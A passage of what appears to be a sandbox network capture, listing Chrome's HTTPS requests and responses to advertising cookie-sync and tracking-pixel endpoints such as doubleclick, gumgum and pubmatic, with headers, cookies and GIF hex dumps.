2024-04-27 22:42:29 UTC	629	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ze=pzXJ98G8FgkOH15Vlr4a~~1;Expires=Sun, 27 Apr 2025 22:42:28 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:28 GMT Connection: close
2024-04-27 22:42:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:29 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.4	50490	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	924	OUT	GET /pixel?google_nid=bidswitch_dbm&google_cm&google_sc&ssp=medianet&bsw_param=22ec7773-8e4b-4639-873b-a22ce7444b56&google_hm=MjJlYzc3NzMtOGU0Yi00NjM5LTg3M2ItYTIyY2U3NDQ0YjU2&gdpr_consent=&gdpr=0 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:28 UTC	739	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://x.bidswitch.net/sync?dsp_id=16&user_id=CAESEIP4iQ2hoD2xi6LtNKiNjCU&google_cver=1&ssp=medianet&bsw_param=22ec7773-8e4b-4639-873b-a22ce7444b56&gdpr_consent=&gdpr=0 Date: Sat, 27 Apr 2024 22:42:28 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 390 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:28 UTC	390	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 64 73 70 5f 69 64 3d 31 36 26 61 6d 70 3b 75 73 65 72 5f 69 64 3d 43 41 45 53 45 49 50 34 69 51 32 68 6f 44 32 78 69 36 4c 74 4e 4b 69 4e 6a 43 55 26 61 6d 70 3b 67 6f 6f 67 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://x.bidswitch.net/sync?dsp_id=16&user_id=CAESEIP4iQ2hoD2xi6LtNKiNjCU&goog

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.4	50492	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	900	OUT	GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
2024-04-27 22:42:30 UTC	258	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:30 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //a.sportradarserving.com/sync?ssp=bidswitch&bidswitch_ssp_id=pubmatic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.4	50501	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	665	OUT	GET /usersync?b=apn&i=1476058396850158061 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:30 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:30 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:30 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.4	50499	34.224.235.2	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	710	OUT	GET /usersync?b=pln&i=vRChMcXIG1l8&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 HTTP/1.1 Host: rtb.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:30 UTC	263	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:30 GMT Content-Type: image/gif;charset=UTF-8 Content-Length: 35 Connection: close Server: nginx Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache Timing-Allow-Origin: *
2024-04-27 22:42:30 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.4	50500	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	682	OUT	GET /usersync?b=opx&i=3397e715-e549-0c28-2698-c9b0a8e971b0 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:30 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:30 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:30 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.4	50506	192.184.68.134	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	795	OUT	GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: d=EFsBDQHbK9-owQA; mc=662d7f4b-a445d-ea91f-134df
2024-04-27 22:42:30 UTC	695	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:30 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV" Pragma: no-cache Set-Cookie: d=EIcBEgHbK_ijDejbEA; expires=Fri, 26-Jul-2024 22:42:30 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.4	50504	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	686	OUT	GET /usersync?b=oth&i=y-UetKAt9E2pc8Uq.J_hclKHR1snQsf1oOGYnd~A HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:30 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:30 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:30 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.4	50502	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	700	OUT	GET /usersync?b=sta&i=0-b26851c3-7a83-50e6-56c2-722588816484$ip$149.18.24.69 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:30 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:30 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:30 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.4	50505	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	689	OUT	GET /usersync?b=zem&i=pzXJ98G8FgkOH15Vlr4a&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:30 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:30 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:30 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.4	50503	35.172.99.217	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	670	OUT	GET /usersync?b=dit&i=di_c1494c1900dc4b8c99559 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2
2024-04-27 22:42:30 UTC	210	IN	HTTP/1.1 200 Date: Sat, 27 Apr 2024 22:42:30 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-27 22:42:30 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.4	50507	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	1980	OUT	GET /AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268 [TRUNCATED]
2024-04-27 22:42:30 UTC	760	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_153=1923-PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV&KRTB&19420-PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV&KRTB&22979-PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV&KRTB&23462-PZC_iDzAuY4mx7nYPsKgiWqfvIoml77Yb8BcNaUV; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 26-Jul-2024 22:42:28 GMT; path=/ Set-Cookie: PugT=1714257748; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:28 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:30 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.4	50508	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	1968	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU690312adc0a749a7834a32518588f9ba HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257740; chkChromeAb67Sec=2; pi=159463:4; DPSync3=1715385600%3A263_262_261_260_259_201%7C1714780800%3A252_265; SyncRTB3=1714780800%3A15_223_2%7C1716768000%3A224%7C1715472000%3A268 [TRUNCATED]
2024-04-27 22:42:30 UTC	695	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:29 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1323=23480-OPU690312adc0a749a7834a32518588f9ba&KRTB&23485-OPU690312adc0a749a7834a32518588f9ba&KRTB&23575-OPU690312adc0a749a7834a32518588f9ba; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 22:42:29 GMT; path=/ Set-Cookie: PugT=1714257749; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:29 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:30 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.4	50509	8.28.7.83	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:30 UTC	1952	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=1977432098227636774 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; 